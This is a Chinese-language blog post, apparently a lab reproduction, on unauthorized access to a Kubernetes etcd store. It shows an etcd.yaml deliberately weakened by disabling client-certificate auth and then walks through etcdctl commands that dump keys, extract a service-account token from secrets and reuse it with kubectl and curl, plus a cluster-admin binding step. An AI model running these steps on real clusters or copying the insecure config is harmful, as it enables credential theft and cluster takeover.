【云安全】云原生- K8S etcd 未授权访问

什么是etcd?

etcd 是一个开源的分布式键值存储系统,主要用于存储和管理配置信息、状态数据以及服务发现信息。它采用 Raft 共识算法,确保数据的一致性和高可用性,能够在多个节点上运行,保证在部分节点故障时仍能继续提供服务。

在 Kubernetes 中,etcd 扮演着关键角色,用于存储集群的所有资源数据(如 Pod、Service 和 Deployment 的信息)。Kubernetes 通过与 etcd 的交互,获取集群的当前状态并确保集群的一致性。

etcd 还提供了"watch"功能,允许用户在键值对发生变化时得到通知,适用于动态配置更新和分布式锁等场景。它是保证分布式系统一致性和高可用性的核心技术之一。

简单理解:etcd 用于存储集群的关键数据,包括节点信息、认证凭证、API 令牌(token)、证书等。它保存了集群的所有配置和状态数据,确保集群的一致性和可靠性。

在 Kubernetes 中,etcd 使用以下几个端口:

客户端端口(默认端口: 2379):

用于 etcd 集群与 Kubernetes 控制平面之间的通信。Kubernetes 控制平面(如 API 服务器)通过这个端口与 etcd 交互,读取和写入集群状态。

集群通信端口(默认端口: 2380):

用于 etcd 集群节点之间的内部通信,确保集群中的各个 etcd 节点之间的数据同步和一致性。这个端口用于 Raft 协议的数据同步。

这些端口通常需要被保护和访问控制,确保安全性。默认情况下,etcd 也会使用 TLS 加密这些端口的通信,以提高安全性。

etcd未授权访问

1、如果管理员配置不当,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。

2、如果存在SSRF漏洞,配合配置不当,攻击者访问到etcd=接管集群。

3、位于K8s master node 对内暴露2379端口,本地可免认证访问,其他地址要带--endpoint参数和cert进行认证。

v3版本漏洞复现

我这里仅复现v3版本,v2版本较老,目前基本没有了

不安全的 etcd.yaml 配置如下:

apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubeadm.kubernetes.io/etcd.advertise-client-urls: http://192.168.48.142:2379 #改成http
  creationTimestamp: null
  labels:
    component: etcd
    tier: control-plane
  name: etcd
  namespace: kube-system
spec:
  containers:
  - command:
    - etcd
    - --advertise-client-urls=http://192.168.48.142:2379 #改成http
    - --cert-file=/etc/kubernetes/pki/etcd/server.crt
    - --client-cert-auth=false #注释或修改成false
    - --data-dir=/var/lib/etcd
    - --initial-advertise-peer-urls=https://192.168.48.142:2380
    - --initial-cluster=master-1=https://192.168.48.142:2380
    - --key-file=/etc/kubernetes/pki/etcd/server.key
    - --listen-client-urls=http://127.0.0.1:2379,http://192.168.48.142:2379 #改成http
    - --listen-metrics-urls=http://127.0.0.1:2381
    - --listen-peer-urls=https://192.168.48.142:2380
    - --name=master-1
    - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt
    - --peer-client-cert-auth=true
    - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key
    - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
    - --snapshot-count=10000
    #- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt #注释
    image: registry.aliyuncs.com/google_containers/etcd:3.5.1-0
    imagePullPolicy: IfNotPresent
    livenessProbe:
      failureThreshold: 8
      httpGet:
        host: 127.0.0.1
        path: /health
        port: 2381
        scheme: HTTP
      initialDelaySeconds: 10
      periodSeconds: 10
      timeoutSeconds: 15
    name: etcd
    resources:
      requests:
        cpu: 100m
        memory: 100Mi
    startupProbe:
      failureThreshold: 24
      httpGet:
        host: 127.0.0.1
        path: /health
        port: 2381
        scheme: HTTP
      initialDelaySeconds: 10
      periodSeconds: 10
      timeoutSeconds: 15
    volumeMounts:
    - mountPath: /var/lib/etcd
      name: etcd-data
    - mountPath: /etc/kubernetes/pki/etcd
      name: etcd-certs
  hostNetwork: true
  priorityClassName: system-node-critical
  securityContext:
    seccompProfile:
      type: RuntimeDefault
  volumes:
  - hostPath:
      path: /etc/kubernetes/pki/etcd
      type: DirectoryOrCreate
    name: etcd-certs
  - hostPath:
      path: /var/lib/etcd
      type: DirectoryOrCreate
    name: etcd-data
status: {}

对应 api server 配置如下:

检查etcd服务是否正常

#查看2379端口是否处于监听状态

netstat -lnpt | grep 2379

#在K8s集群初始化后,etcd默认就以pod的形式存在,可以执行如下命令进行查看

kubectl get pod -A | grep etcd

(1)攻击者发现如下页面,由于2379端口默认不对外,且为tls认证,所以这种页面基本就是未授权访问了

(2)使用etcdctl工具进行测试和信息收集

#验证

etcdctl --endpoints=192.168.48.142:2379 get / --prefix

etcdctl --endpoints=192.168.48.142:2379 put /qiu/hui "attack"

etcdctl --endpoints=192.168.48.142:2379 get /qiu/hui

安装etcd客户端连接工具etcdctl
Releases · etcd-io/etcd · GitHub

(3)由于Service Account 关联了一套凭证,存储在 Secret中。因此攻击者可以过滤Secret,查找具有高权限的Secret,然后获得其token接管K8s集群

etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/"

etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/kube-system/clusterrole"

etcdctl --endpoints=192.168.48.142:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mr6x7

kubectl --insecure-skip-tls-verify -s https://192.168.48.142:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -n kube-system get pods

#curl验证

curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -X GET https://192.168.48.142:6443/api -k

(4)如果存在dashboard,也可以使用token登录,从而管理K8s

问题解决

复现时可能会遇到以下问题:

这表明 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户没有权限列出 kube-system 命名空间中的 pods 资源。可能的原因是该服务账户缺少适当的角色和权限。通过以下命令授予权限:

kubectl create clusterrolebinding clusterrole-aggregation-controller-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:clusterrole-aggregation-controller

这将赋予 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户集群管理员权限,从而允许它执行各种操作,包括列出 Pods。 ​

相关推荐
nuczzz2 小时前
NVIDIA k8s-device-plugin源码分析与安装部署
kubernetes·k8s·gpu·nvidia·cuda
川石课堂软件测试2 小时前
涨薪技术|Kubernetes(k8s)之Ingress
功能测试·云原生·容器·kubernetes·单元测试
迷茫运维路2 小时前
深入解析K8s VolumeMounts中的subPath字段及其应用
云原生·容器·kubernetes
qq_487048772 小时前
K8S单机部署
云原生·容器·kubernetes
黑夜无路人2 小时前
k8s数据存储
云原生·容器·kubernetes·数据存储
洗荡千万春2 小时前
Docker与K8s,大兵与将军
后端·kubernetes·自动化运维
晓翔仔2 小时前
利用 requestrepo 工具验证 XML外部实体注入漏洞
xml·网络安全·信息安全·渗透测试·漏洞
me8322 小时前
【Linux docker 容器】关于想要让虚拟机在开机时候也docker自己启动,容器也自己启动,省去要自己开docker和容器
java·linux·docker·云原生·eureka
网络安全指导员3 小时前
kali linux 漏洞扫描
linux·运维·开发语言·网络·安全·web安全